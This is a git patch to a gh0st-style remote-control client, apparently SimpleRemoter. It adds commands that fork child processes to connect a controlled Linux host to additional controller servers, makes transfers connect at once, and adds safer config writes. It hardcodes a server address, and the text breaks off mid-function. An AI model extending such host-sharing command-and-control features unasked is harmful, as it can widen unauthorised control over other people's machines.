From 2a97471b516664b033c5a90f258645879e6dc291 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 7 Nov 2026 23:21:44 +0100 Subject: [PATCH] Feature: Share a Linux host to another master Add COMMAND_SHARE (SHARE_TYPE_YAMA) with the Windows semantics: the record goes into share_list and a second connection is opened to the target master while the main link stays where it is. main()'s connection state is all global, so each record is served by a forked "--share " child that reuses the whole login, heartbeat and command path; the parent only starts, tracks and reaps them. COMMAND_SHARE_CANCEL clears the list and stops the children right away (Linux can; Windows does it on the next start). Transfer now opens its connection immediately too, matching the Windows fallthrough that spawns a shared instance, and that temporary connection is dropped once the main link has actually moved to the target or when the transfer expires. common/host_endpoint.h holds the ip/port/shine/transport word list the two commands share; common/host_share.h holds the share payload, share_list encoding and the per-master dedup. Config writes now take a cross-process flock and replace the file by rename. The parent and every child write the same config.conf from their own snapshot, and a truncating overwrite could drop the other side's keys. Children ignore the commands that only mean something on the main link: share, transfer, upgrade, TLS anchor and group. Verified in WSL against fake masters: share start, cancel and restore, re-sharing with a different transport, share plus transfer on one master, and the transfer child disappearing after the main link moved. Co-Authored-By: deepseek-flash --- common/host_endpoint.h | 69 +++++++ common/host_share.h | 145 +++++++++++++ common/host_transfer.h | 64 +----- linux/LinuxConfig.h | 52 +++-- linux/README.md | 46 ++++- linux/main.cpp | 452 +++++++++++++++++++++++++++++++++++++++-- 6 files changed, 743 insertions(+), 85 deletions(-) create mode 100644 common/host_endpoint.h create mode 100644 common/host_share.h diff --git a/common/host_endpoint.h b/common/host_endpoint.h new file mode 100644 index 0000000..1b11f2f --- /dev/null +++ b/common/host_endpoint.h @@ -0,0 +1,69 @@ +#pragma once +#include +#include +#include "commands.h" + +// ============== 主控端点的跨平台公共部分 ============== +// +// 「转移主机」和「分享主机」下发的是同一个概念:一个 ip:port,外加可选的 +// Shine/HELL 头加密变体和传输方式(明文 / WS / WSS)。这段词表与具体命令无关, +// 单独放在这里,Linux 和 macOS 客户端的两个命令都复用(见 host_transfer.h、 +// host_share.h)。 +// +// 注意 CONNECT_ADDRESS 不参与跨线程同步(ServerIP() 读的时候还会就地解密), +// ApplyEndpoint/CaptureEndpoint 只能在连接生命周期的持有线程(主循环)调用。 +namespace HostEndpoint { + +// 一个连接端点。transport/headerEnc 为 -1 表示「不改变现有值」。 +struct Endpoint { + std::string ip; + int port; + int transport; // PROTO_TCP / PROTO_WS / PROTO_WSS + int headerEnc; // PROTOCOL_SHINE / PROTOCOL_HELL(Windows 头加密变体) + + Endpoint() : port(0), transport(-1), headerEnc(-1) {} +}; + +// 只认合法值。atoi 对非法串返回 0(正是 PROTO_TCP),不校验就会把一条本该走 +// WSS 的链路静默降级成明文直连;headerEnc 同理由服务端决定,不能随意采信。 +inline bool ParseTransport(const std::string& s, int& out) +{ + if (s != std::to_string(PROTO_TCP) && s != std::to_string(PROTO_WS) + && s != std::to_string(PROTO_WSS)) + return false; + out = atoi(s.c_str()); + return true; +} + +inline bool ParseHeaderEnc(const std::string& s, int& out) +{ + if (s != std::to_string(PROTOCOL_SHINE) && s != std::to_string(PROTOCOL_HELL)) + return false; + out = atoi(s.c_str()); + return true; +} + +// 把端点写进连接参数。只在连接生命周期的持有线程调用(见文件头注释)。 +inline void ApplyEndpoint(CONNECT_ADDRESS& conn, const Endpoint& ep) +{ + if (ep.ip.empty() || ep.port <= 0) + return; + conn.SetServer(ep.ip.c_str(), ep.port); + if (ep.transport >= 0) + conn.protoType = (char)ep.transport; + if (ep.headerEnc >= 0) + conn.iHeaderEnc = ep.headerEnc; +} + +// 记下当前连接参数。转移过期后靠它回到原主控。 +inline Endpoint CaptureEndpoint(CONNECT_ADDRESS& conn) +{ + Endpoint ep; + ep.ip = conn.ServerIP(); + ep.port = conn.ServerPort(); + ep.transport = (int)(unsigned char)conn.protoType; + ep.headerEnc = conn.iHeaderEnc; + return ep; +} + +} // namespace HostEndpoint diff --git a/common/host_share.h b/common/host_share.h new file mode 100644 index 0000000..bbdc0e9 --- /dev/null +++ b/common/host_share.h @@ -0,0 +1,145 @@ +#pragma once +#include +#include +#include +#include "host_endpoint.h" + +// ============== 主机分享(COMMAND_SHARE + SHARE_TYPE_YAMA)的跨平台公共部分 ============== +// +// 服务端「分享主机」下发的载荷是 host:port:shine[:transport](见 +// server/2015Remote/2015RemoteDlg.cpp ShareClient)。命令字节是 COMMAND_SHARE(59), +// 不是「转移主机」用的 COMMAND_ASSIGN_MASTER(207);Windows 客户端的 case 把两者 +// 并在一起、靠 buf[1] 的类型字节区分,这里同样两个都收。和「转移主机」的区别: +// 转移改的是本实例的主连接,分享另起一条通往目标主控的连接,主连接原样保留。 +// Windows 侧是同一进程里再起一个 ClientApp 线程(client/KernelManager.cpp、 +// client/ClientDll.cpp 的 m_bShared 分支);Linux 侧由主实例 fork+exec 出一个 +// 分享子进程,复用同一份登录/心跳/命令处理代码。 +// +// 这里只放与平台无关的那一半:命令解析、share_list 的编解码与去重。平台侧只需要: +// 启动:读 share_list,每条起一个分享实例 +// 收包:ParseCommand() → 持久化这条记录 → 起分享实例 +// 取消:清空 share_list → 停掉所有分享实例 +// +// 端点本身(ip/port + 可选的 Shine、传输方式)在 host_endpoint.h,与「转移主机」共用。 +namespace HostShare { + +using HostEndpoint::Endpoint; + +// 把已拆好的 ip/port[/shine[/transport]] 字段转成端点。命令载荷和 share_list +// 记录用的是同一套字段顺序,解析逻辑共用一份,免得两处跑偏。 +inline bool DecodeFields(const std::vector& v, Endpoint& out) +{ + if (v.size() < 2) + return false; + Endpoint ep; + ep.ip = v[0]; + ep.port = atoi(v[1].c_str()); + if (ep.ip.empty() || ep.port <= 0 || ep.port > 65535) + return false; + if (v.size() > 2 && !v[2].empty()) + HostEndpoint::ParseHeaderEnc(v[2], ep.headerEnc); // 非法值保持 -1:沿用现有设置 + if (v.size() > 3 && !v[3].empty()) + HostEndpoint::ParseTransport(v[3], ep.transport); + out = ep; + return true; +} + +// 解析分享载荷(buf[1] = SHARE_TYPE_YAMA)。命令字节收 COMMAND_SHARE 和 +// COMMAND_ASSIGN_MASTER 两种:前者是现在服务端发的,后者是老服务端/转移命令共用 +// 的那个值(转移用 SHARE_TYPE_YAMA_FOREVER,靠 buf[1] 区分)。 +inline bool ParseCommand(const unsigned char* buf, unsigned long len, Endpoint& out) +{ + if (buf == NULL || len < 3) + return false; + if ((buf[0] != COMMAND_SHARE && buf[0] != COMMAND_ASSIGN_MASTER) + || buf[1] != SHARE_TYPE_YAMA) + return false; + + // 整块 sizeof(bToken) 缓冲、尾部零填充:先按 ulLength 截取,再在第一个 NUL 处 + // 截断,两个边界都守住才不会读到缓冲区外。 + std::string payload((const char*)buf + 2, (size_t)len - 2); + size_t nul = payload.find('\0'); + if (nul != std::string::npos) + payload.resize(nul); + + return DecodeFields(StringToVector(payload, ':', 4), out); +} + +// share_list 的单条记录:ip:port[:shine[:transport]],与 Windows 客户端写进 +// settings/share_list 的格式一致(第 3 段是 Shine,第 4 段才是传输方式——顺序不能反, +// 反了重启后会被当成 Shine 解析)。 +inline std::string EncodeEntry(const Endpoint& ep) +{ + std::string s = ep.ip + ":" + std::to_string(ep.port); + if (ep.headerEnc < 0 && ep.transport < 0) + return s; + // 传输方式落在第 4 段,第 3 段(Shine)缺省时必须占位,否则重启后 + // "ip:port:2" 会被当成 Shine=2 而不是传输方式 2。 + s += ":"; + if (ep.headerEnc >= 0) + s += std::to_string(ep.headerEnc); + if (ep.transport >= 0) + s += ":" + std::to_string(ep.transport); + return s; +} + +inline bool DecodeEntry(const std::string& s, Endpoint& out) +{ + if (s.empty()) + return false; + return DecodeFields(StringToVector(s, ':', 4), out); +} + +// "ip:port" —— 去重只比这两段。同一条分享目标换了传输方式(重新分享成 WSS)时 +// 第 3/4 段会变,按整条比会被判成「新条目」,同一个主控留下两条记录 → 同一 clientID +// 起两个分享实例,登录时互相踢。 +inline std::string MasterKey(const Endpoint& ep) +{ + return ep.ip + ":" + std::to_string(ep.port); +} + +inline std::vector Split(const std::string& list) +{ + std::vector items; + if (list.empty()) + return items; + for (auto& s : StringToVector(list, '|')) + if (!s.empty()) + items.push_back(s); + return items; +} + +inline std::string Join(const std::vector& items) +{ + return VectorJoin(items, '|'); +} + +inline size_t Count(const std::string& list) +{ + return Split(list).size(); +} + +// 追加一条记录:同一 ip:port 的旧记录被替换(传输方式以最新一次下发为准)。 +// 返回新的 share_list 字符串。 +inline std::string AddEntry(const std::string& list, const std::string& entry) +{ + Endpoint add; + if (!DecodeEntry(entry, add)) + return list; + const std::string key = MasterKey(add); + + std::vector items = Split(list); + bool replaced = false; + for (auto& item : items) { + Endpoint old; + if (DecodeEntry(item, old) && MasterKey(old) == key) { + item = entry; + replaced = true; + } + } + if (!replaced) + items.push_back(entry); + return Join(items); +} + +} // namespace HostShare diff --git a/common/host_transfer.h b/common/host_transfer.h index 02fedf8..e6cc405 100644 --- a/common/host_transfer.h +++ b/common/host_transfer.h @@ -1,10 +1,9 @@ #pragma once #include #include -#include -#include "commands.h" +#include "host_endpoint.h" -// ============== 主机转移(COMMAND_ASSIGN_MASTER)的跨平台公共部分 ============== +// ============== 主机转移(COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA_FOREVER)============== // // 服务端「转移主机」下发的载荷是 host:port:days:shine[:transport](见 // server/2015Remote/2015RemoteDlg.cpp assignFunction)。内核部分在 @@ -14,19 +13,14 @@ // 收包:ParseAssignCommand() → 写配置记录 + 交给主线程 ApplyTarget // 心跳:now > validTo 时 ApplyEndpoint(原主控) 并重连 // -// 注意 CONNECT_ADDRESS 不参与跨线程同步(ServerIP() 读的时候还会就地解密), -// ApplyTarget/ApplyEndpoint 只能在连接生命周期的持有线程(主循环)调用。 +// 端点本身(ip/port + 可选的 Shine、传输方式)在 host_endpoint.h,与「分享主机」共用。 namespace HostTransfer { -// 一个连接端点。transport/headerEnc 为 -1 表示「不改变现有值」。 -struct Endpoint { - std::string ip; - int port; - int transport; // PROTO_TCP / PROTO_WS / PROTO_WSS - int headerEnc; // PROTOCOL_SHINE / PROTOCOL_HELL(Windows 头加密变体) - - Endpoint() : port(0), transport(-1), headerEnc(-1) {} -}; +using HostEndpoint::Endpoint; +using HostEndpoint::ParseTransport; +using HostEndpoint::ParseHeaderEnc; +using HostEndpoint::ApplyEndpoint; +using HostEndpoint::CaptureEndpoint; // 一条转移记录:目标端点 + 到期时间(unix 秒)。 struct Target { @@ -38,25 +32,6 @@ struct Target { bool Active(long long now) const { return Valid() && now <= validTo; } }; -// 只认合法值。atoi 对非法串返回 0(正是 PROTO_TCP),不校验就会把一条本该走 -// WSS 的链路静默降级成明文直连;headerEnc 同理由服务端决定,不能随意采信。 -inline bool ParseTransport(const std::string& s, int& out) -{ - if (s != std::to_string(PROTO_TCP) && s != std::to_string(PROTO_WS) - && s != std::to_string(PROTO_WSS)) - return false; - out = atoi(s.c_str()); - return true; -} - -inline bool ParseHeaderEnc(const std::string& s, int& out) -{ - if (s != std::to_string(PROTOCOL_SHINE) && s != std::to_string(PROTOCOL_HELL)) - return false; - out = atoi(s.c_str()); - return true; -} - // 解析一条完整的 COMMAND_ASSIGN_MASTER 命令体(buf[0]=命令,buf[1]=转移类型)。 // now 由调用方传入,便于测试和统一时间口径。days <= 0 视为无效:服务端只有在 // 天数 > 0 时才写 valid_to,零天数的记录在 Windows 侧同样不会生效。 @@ -122,32 +97,9 @@ inline bool DecodeRecord(const std::string& s, Target& out) return true; } -// 把端点写进连接参数。只在连接生命周期的持有线程调用(见文件头注释)。 -inline void ApplyEndpoint(CONNECT_ADDRESS& conn, const Endpoint& ep) -{ - if (ep.ip.empty() || ep.port <= 0) - return; - conn.SetServer(ep.ip.c_str(), ep.port); - if (ep.transport >= 0) - conn.protoType = (char)ep.transport; - if (ep.headerEnc >= 0) - conn.iHeaderEnc = ep.headerEnc; -} - inline void ApplyTarget(CONNECT_ADDRESS& conn, const Target& t) { ApplyEndpoint(conn, t.ep); } -// 记下当前连接参数作为「原主控」,转移过期后靠它恢复。 -inline Endpoint CaptureEndpoint(CONNECT_ADDRESS& conn) -{ - Endpoint ep; - ep.ip = conn.ServerIP(); - ep.port = conn.ServerPort(); - ep.transport = (int)(unsigned char)conn.protoType; - ep.headerEnc = conn.iHeaderEnc; - return ep; -} - } // namespace HostTransfer diff --git a/linux/LinuxConfig.h b/linux/LinuxConfig.h index 8f78851..3e10f74 100644 --- a/linux/LinuxConfig.h +++ b/linux/LinuxConfig.h @@ -3,6 +3,10 @@ #include #include #include +#include +#include +#include +#include #include // ============== 轻量 INI 配置文件读写(Linux)============== @@ -34,8 +38,7 @@ public: void SetStr(const std::string& key, const std::string& value) { - m_data[key] = value; - Save(); + SetValue(key, value); } int GetInt(const std::string& key, int def = 0) const @@ -49,8 +52,7 @@ public: void SetInt(const std::string& key, int value) { - m_data[key] = std::to_string(value); - Save(); + SetValue(key, std::to_string(value)); } // 重新加载配置 @@ -73,17 +75,43 @@ private: } } - void Save() + // 写一个键。主实例和分享子进程写的是同一个文件,各持一份整文件快照、整文件覆盖 + // 写,所以必须「拿跨进程锁 -> 重读 -> 改一个键 -> 原子替换」:不重读会把对方刚 + // 写的键(比如 transfer)整个抹掉,不原子替换则可能被读到写了一半的文件。 + void SetValue(const std::string& key, const std::string& value) { - // 递归创建目录(mkdir -p 效果) MkdirRecursive(m_dir); - std::ofstream f(m_path, std::ios::trunc); - if (!f.is_open()) { - return; // 打开失败 - } - for (auto& kv : m_data) { - f << kv.first << "=" << kv.second << "\n"; + // O_CLOEXEC:锁 fd 不能漏给 fork+exec 出来的分享子进程,否则它会把锁一直 + // 持有到自己退出。close() 即释放 flock。 + int lockFd = open((m_path + ".lock").c_str(), O_CREAT | O_RDWR | O_CLOEXEC, 0644); + if (lockFd >= 0) + flock(lockFd, LOCK_EX); + Load(); + m_data[key] = value; + SaveAtomic(); + if (lockFd >= 0) + close(lockFd); + } + + // 先写同目录临时文件再 rename:同一文件系统内 rename 是原子的,读者要么看到 + // 旧文件、要么看到新文件,不会读到截断到一半的内容。 + void SaveAtomic() + { + const std::string tmp = m_path + ".tmp." + std::to_string((long)getpid()); + { + std::ofstream f(tmp, std::ios::trunc); + if (!f.is_open()) + return; // 打开失败:保留旧文件 + for (auto& kv : m_data) + f << kv.first << "=" << kv.second << "\n"; + f.flush(); + if (!f) { + remove(tmp.c_str()); + return; + } } + if (rename(tmp.c_str(), m_path.c_str()) != 0) + remove(tmp.c_str()); } // 递归创建目录 diff --git a/linux/README.md b/linux/README.md index e0e8af2..7d9fb67 100644 --- a/linux/README.md +++ b/linux/README.md @@ -29,7 +29,8 @@ SimpleRemoter 的 Linux 客户端,支持远程桌面、远程终端、文件 | 屏幕预览(缩略图) | `ScreenPreview.cpp` | `client/ScreenPreview.cpp` | ✅ 完整(X11 抓屏 → 缩放 → 原始 BGRA 上报,由服务端统一编码 JPEG;双击预览、列表缩略图、MCP `get_screenshot` 均可用。无 `DISPLAY` 时不声明能力位,服务端不会发请求) | | V2 文件传输 | `FileTransferV2.h` | `file_upload.h` | ✅ 服务端↔Linux(含 MCP `upload_file`/`download_file`:发送完成包带流式 SHA-256,路径不存在/无权限回 `TOKEN_DOWNLOAD_ERROR`) | | C2C 文件接收 | `FileTransferV2.h` | `file_upload.h` | ✅ Windows/MCP → Linux(目标目录由服务端 `dst_dir` 指定,落盘后回执) | -| 主机转移 | `common/host_transfer.h` + main.cpp | `KernelManager.cpp` | ✅ 完整(`COMMAND_ASSIGN_MASTER`,重连生效;到期自动回原主控。主机分享未实现) | +| 主机转移 | `common/host_transfer.h` + main.cpp | `KernelManager.cpp` | ✅ 完整(`COMMAND_ASSIGN_MASTER`,下发后立即另起一条连接,主连接重连时生效;到期自动回原主控并收掉那条连接) | +| 主机分享 | `common/host_share.h` + main.cpp | `KernelManager.cpp` / `ClientDll.cpp` | ✅ 完整(每条分享记录 fork 一个 `--share` 子进程,主连接不受影响;取消分享立即断开,重启自动恢复) | | 配置持久化 | `LinuxConfig` | INI 文件 | ✅ 完整 | | MCP 远程管理 | 复用 `SystemManager.h` / `PTYHandler.h` / `ScreenHandler.h` | 服务端 MCP | ✅ 档 1:`kill_process`、`exec_command`、`terminal_open/exec/close`、`remote_open/close/mouse/keyboard/clipboard`(服务端放开门禁,客户端协议本已实现) | @@ -217,17 +218,53 @@ Windows 客户端的同名命令没有摘要(走内存加载器/更新器) 服务端选中一台主机后点「转移主机」,选目标主控和有效天数,客户端会: 1. 把目标写进 `~/.config/ghost/config.conf` 的 `transfer` 键(`ip:port:transport:shine:valid_to`); -2. **不立刻断开**,当前连接照常维持,下一次重连(断线重连、客户端重启)才连到新主控; -3. 过了有效天数自动回到转移前的原主控——原地址只记在内存里(启动参数或编译期默认), - 不写回配置,所以重启后仍然有效。 +2. **立即另起一条通往新主控的连接**(与分享同一个 fork+exec 机制),新主控马上就能看到 + 这台主机上线;它与老主控之间的主连接原样保留,不会断开; +3. 下一次重连(断线重连、客户端重启)时主连接才搬到新主控,那条临时连接随之消失; +4. 过了有效天数自动回到转移前的原主控——原地址只记在内存里(启动参数或编译期默认), + 不写回配置,所以重启后仍然有效;到期时那条临时连接一并收掉。 + +第 2 步与 Windows 客户端现有的实际行为一致(`KernelManager.cpp` 的转移分支会贯穿到分享 +分支、额外起一个 shared 实例);差别只在到期处理:Windows 那条连接要等进程重启才消失。 注意事项: - 目标是永久转移(天数填 0)时客户端会拒绝,避免把主机改到一个不可达的地址后无法回退; - 有效期内重复下发会被忽略(与 Windows 客户端一致); - 转移期间切换传输方式(明文 / WS / WSS)会跟随服务端下发的 `transport` 段; +- 「取消分享」不会影响转移建立的临时连接; - 只想把主机要回来,直接把 `transfer` 键清空并重启客户端即可。 +## 主机分享 + +服务端选中一台主机后点「分享主机」,填目标主控地址,客户端会: + +1. 把记录追加进 `~/.config/ghost/config.conf` 的 `share_list` 键 + (多条用 `|` 分隔,每条 `ip:port[:shine[:transport]]`,与 Windows 的 + `settings/share_list` 格式一致); +2. **不动主连接**,另起一个子进程 ` --share <记录>` 连到目标主控。 + 子进程复用同一份登录/心跳/命令处理代码,有自己的日志文件 + (`log_<月份>_.txt`)和自己的重连循环。 + +跨平台部分在 `common/host_share.h`(命令解析、记录编解码、按 `ip:port` 去重), +macOS 可直接复用。 + +注意事项: + +- 同一个 `ip:port` 只保留一条记录,换了传输方式会替换旧记录并重启对应的子进程; + 完全相同的记录重复下发会被忽略,不会断开已有分享连接; +- 分享实例不再响应「分享主机」「转移主机」「升级程序」——分享链不能一层套一层, + 二进制也不能几个进程同时替换; +- 「取消分享」在 Linux 上**立即生效**(Windows 是清空配置、下次启动才生效), + 会杀掉所有分享子进程并清空 `share_list`;「转移主机」建立的那条连接不属于分享, + 不受影响; +- 主实例退出(含被 `kill -9`)时子进程跟着退出(`PR_SET_PDEATHSIG`); +- 分享链路的传输方式在分享那一刻固定,之后主连接切 TCP/WS/WSS 不会影响它; +- **TLS 信任锚是整机一份**(`TlsEnabledFor` 只看进程,不看目标主控),而 + `COMMAND_TLS_ENABLE` / `COMMAND_TLS_DISABLE` 只作用于主连接、分享实例不处理。 + 所以分享到一台不在当前信任锚覆盖范围内的主控时,子进程会按 fail-closed 直接 + 握手失败、反复重连;要么先给这台主机装好包含该主控 CA 的信任锚,要么用明文分享。 + ## 常见问题 ### Q: 远程桌面功能不工作 @@ -331,6 +368,7 @@ loginctl show-session $(loginctl | grep $(whoami) | awk '{print $1}') -p Type | `GeoLocation` | 地理位置缓存 | `北京市` | | `QualityLevel` | 屏幕质量等级 | `2` (Good / H264 1080P) | | `transfer` | 主机转移记录(空 = 未转移),见「主机转移」 | `1.2.3.4:443:6:0:1790000000` | +| `share_list` | 主机分享记录(空 = 未分享),竖线分隔,见「主机分享」 | `1.2.3.4:443:0:6` | ### 质量等级说明 diff --git a/linux/main.cpp b/linux/main.cpp index 75c46c1..4627737 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -4,6 +4,7 @@ #include #include #include +#include #include #include #include @@ -11,6 +12,7 @@ #include #include #include +#include #include #include #include @@ -41,6 +43,7 @@ #include "common/posix_net_helpers.h" #include "common/sub_conn_thread.h" #include "common/host_transfer.h" +#include "common/host_share.h" #include "LinuxConfig.h" #include #include @@ -48,6 +51,16 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength); +// 主机分享/转移的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用) +// 分享子进程与转移子进程都走同一套 fork+exec 管理,只是归属不同: +// KIND_SHARE 「取消分享」只停这些 +// KIND_TRANSFER 转移到期时停这些(提前建立的那条连接) +// KIND_ALL 主实例退出时全停 +enum ManagedKind { KIND_SHARE, KIND_TRANSFER, KIND_ALL }; +static bool StartShareInstance(const std::string& entry); +static bool StartTransferInstance(const std::string& entry); +static void StopChildren(ManagedKind kind); +static void StartShareInstancesFromConfig(); // 远程地址:当前为写死状态,如需调试,请按实际情况修改 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX }; @@ -71,6 +84,29 @@ static std::atomic g_transferPending(false); // 接收线程已写下 static std::mutex g_transferMu; // 保护 g_transferPendingTarget static HostTransfer::Target g_transferPendingTarget; +// ============== 主机分享(COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA)============== +// 分享不改主连接,而是另起一条通往目标主控的连接。main() 的连接状态全是全局量 +// (g_SETTINGS / g_bExit / g_pMainClient / 心跳节奏 / 登录参数),线程化要逐个 +// 参数化,改动面比功能本身还大;这里由主实例给每条分享记录 fork+exec 一个 +// `--share ` 子进程,子进程直接复用同一份登录、心跳和命令处理代码。 +// 解析与 share_list 编解码在 common/host_share.h(macOS 客户端可直接复用)。 +static bool g_bShareInstance = false; // 本进程是分享子进程 +static std::mutex g_shareMu; // 保护 g_shareProcs +// 子进程 pid 和它启动时用的那条记录:判断「同一条分享」只能比这条记录,不能比配置 +// 里的——命令处理是先写配置再起进程,配置里已经是新记录了。 +// transfer=true 表示这是「转移主机」立即建立的那条连接(见 StartTransferInstance), +// 它不进 share_list、不受「取消分享」影响。 +struct ShareProc { + pid_t pid; + std::string entry; + bool transfer; +}; +static std::map g_shareProcs; // "ip:port" / "transfer:ip:port" -> 子进程 +// 分享条目上限:每条都对应一个常驻子进程,服务端误发/恶意刷下发不能把进程表打爆。 +static const size_t kMaxShareEntries = 16; +static std::atomic g_shareReaperStop(false); +static std::thread g_shareReaperThread; // 退出前 join,别让它去碰已停的日志 + // 自升级(COMMAND_UPDATE):fork+execv 重启自己时需要原始命令行, // 失败回报需要主连接(DataProcess 的 user 参数为 NULL,只能靠全局)。 static int g_argc = 0; @@ -536,6 +572,8 @@ static void CheckTransferExpiry() g_needReconnect.store(true, std::memory_order_relaxed); Mprintf(">>> Transfer expired: restoring %s:%d\n", g_transferOrig.ip.c_str(), g_transferOrig.port); + // 转移时提前建立的那条连接也要收掉,否则过期后主机仍挂在新主控上。 + StopChildren(KIND_TRANSFER); } int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) @@ -643,6 +681,12 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) Mprintf("** [%p] V2 File recv error: %d ***\n", user, result); } } else if (szBuffer[0] == CMD_SET_GROUP) { + // 分组是本机属性,写的是同一份 config.conf:分享实例改了,主机在主控 A 上的 + // 分组也会跟着变,而这条命令是主控 B 下发的。交给主实例处理。 + if (g_bShareInstance) { + Mprintf("** [%p] SET_GROUP ignored: running as share instance ***\n", user); + return TRUE; + } // Extract group name from message (starts at byte 1) std::string groupName; if (ulLength > 1) { @@ -666,7 +710,10 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) // 服务端下发信任锚证书(载荷与 Windows 一致:szBuffer+1 起为 PEM 正文)。 // Windows 写注册表 settings\tls_cert;Linux 写 ~/.config/ghost/yama-ca.pem。 // 与 Windows 不同:Linux 落盘后热重载并重连,立即切换(Windows 仍需重启进程)。 - if (ulLength > 1) { + // 分享实例不理会:信任锚是整机一份,跟着分享目标主控切换会把主连接也一起换掉。 + if (g_bShareInstance) { + Mprintf("** [%p] TLS_ENABLE ignored: running as share instance ***\n", user); + } else if (ulLength > 1) { std::string pem((char*)szBuffer + 1, ulLength - 1); std::string err; if (TlsTrustAnchorSave(pem, err)) { @@ -681,17 +728,58 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) } } else if (szBuffer[0] == COMMAND_TLS_DISABLE) { // 撤销信任锚:删除配置文件并热重载,当前连接若是 TLS 就重连回明文。 - std::string err; - if (TlsTrustAnchorRemove(err)) { - Mprintf("** [%p] TLS trust anchor removed ***\n", user); - ApplyTlsAnchorChange(user); + // 分享实例同理不理会(见上面 TLS_ENABLE)。 + if (g_bShareInstance) { + Mprintf("** [%p] TLS_DISABLE ignored: running as share instance ***\n", user); } else { - Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str()); + std::string err; + if (TlsTrustAnchorRemove(err)) { + Mprintf("** [%p] TLS trust anchor removed ***\n", user); + ApplyTlsAnchorChange(user); + } else { + Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str()); + } } + } else if ((szBuffer[0] == COMMAND_SHARE || szBuffer[0] == COMMAND_ASSIGN_MASTER) + && ulLength > 1 && szBuffer[1] == SHARE_TYPE_YAMA) { + // 「分享主机」:host:port:shine[:transport],解析见 common/host_share.h。 + // 命令字节是 COMMAND_SHARE;COMMAND_ASSIGN_MASTER 一起收,与 Windows 客户端的 + // case 合并写法保持一致(转移用 buf[1]=SHARE_TYPE_YAMA_FOREVER,走下面的分支)。 + // 分享不改本实例的主连接,而是另起一条通往目标主控的连接——主实例 fork 一个 + // 分享子进程来做;子进程收到同一条命令时不能再分享,否则会一链套一链。 + if (g_bShareInstance) { + Mprintf("** [%p] SHARE ignored: running as share instance ***\n", user); + return TRUE; + } + HostShare::Endpoint ep; + if (!HostShare::ParseCommand(szBuffer, ulLength, ep)) { + Mprintf("** [%p] SHARE: malformed payload, ignored ***\n", user); + return TRUE; + } + // 落盘再起进程:进程起不来(fork 失败)也只丢这一次,下次启动仍会按配置重连。 + std::string entry = HostShare::EncodeEntry(ep); + LinuxConfig cfg; + const std::string oldList = cfg.GetStr("share_list"); + const std::string newList = HostShare::AddEntry(oldList, entry); + // 新目标才占名额;同一主控重新下发只是替换记录,不受上限影响。 + if (newList != oldList && HostShare::Count(newList) > kMaxShareEntries) { + Mprintf("** [%p] SHARE to %s ignored: share_list is full (%d) ***\n", + user, HostShare::MasterKey(ep).c_str(), (int)kMaxShareEntries); + return TRUE; + } + cfg.SetStr("share_list", newList); + Mprintf("** [%p] SHARE to %s (entry=%s) ***\n", + user, HostShare::MasterKey(ep).c_str(), entry.c_str()); + StartShareInstance(entry); } else if (szBuffer[0] == COMMAND_ASSIGN_MASTER) { // 「转移主机」:host:port:days:shine[:transport],解析见 common/host_transfer.h。 // 载荷非法时什么都不做——绝不能把脏数据当成有效转移,否则一台上线中的主机会 // 被改到一个不存在的地址上去。 + // 分享实例不处理转移:转移属于主连接,改了会把分享链路带到别的主控去。 + if (g_bShareInstance) { + Mprintf("** [%p] ASSIGN ignored: running as share instance ***\n", user); + return TRUE; + } HostTransfer::Target t; long long now = (long long)time(nullptr); if (!HostTransfer::ParseAssignCommand(szBuffer, ulLength, now, t)) { @@ -715,10 +803,33 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) g_transferValidTo.store(t.validTo, std::memory_order_relaxed); LinuxConfig cfg; cfg.SetStr("transfer", HostTransfer::EncodeRecord(t)); - Mprintf("** [%p] ASSIGN to %s:%d for %llds, applying on next reconnect ***\n", + // 立即再起一条通往新主控的连接,新主控马上就能看到这台主机上线;本实例与老主控 + // 的主连接原样保留,下次重连(含重启)才轮到主连接过去。这与 Windows 客户端 + // 现有语义一致:KernelManager 的转移分支末尾没有 break,会贯穿到分享分支, + // 额外起一个 shared 实例连到同一个目标地址。 + Mprintf("** [%p] ASSIGN to %s:%d for %llds, main link moves on next reconnect ***\n", user, t.ep.ip.c_str(), t.ep.port, t.validTo - now); + StartTransferInstance(HostShare::EncodeEntry(t.ep)); // 新主控立即看到上线 + } else if (szBuffer[0] == COMMAND_SHARE_CANCEL) { + // 「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 那边是同一进程里 + // 的线程,取消只改配置、下次启动才生效;Linux 的分享实例本来就是独立进程, + // 可以立即断开。 + if (g_bShareInstance) { + Mprintf("** [%p] SHARE_CANCEL ignored: running as share instance ***\n", user); + return TRUE; + } + LinuxConfig cfg; + cfg.SetStr("share_list", ""); + Mprintf("** [%p] SHARE_CANCEL: stopping all share instances ***\n", user); + StopChildren(KIND_SHARE); } else if (szBuffer[0] == COMMAND_UPDATE) { - // 服务端"升级程序"菜单下发新版本 ELF + // 服务端"升级程序"菜单下发新版本 ELF。 + // 分享实例不升级:二进制是主实例和所有分享实例共用的,好几个进程同时替换 + // 同一个文件只会互相踩,升级交给主连接那台主控做。 + if (g_bShareInstance) { + Mprintf("** [%p] UPDATE ignored: running as share instance ***\n", user); + return TRUE; + } Mprintf("** [%p] Received 'UPDATE' command (%u bytes) ***\n", user, (unsigned)ulLength); ApplySelfUpdate(szBuffer, ulLength); } else { @@ -1072,6 +1183,280 @@ static void setupSignals() signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略 } +// ============== 主机分享:分享子进程管理 ============== +// 每条分享记录对应一个子进程:` --share `。子进程 +// 有自己的连接、日志文件(log_*_.txt)和重连循环,复用 main() 的全部逻辑;主实例 +// 只负责起停和收尸。 +static void ShareReaperLoop() +{ + while 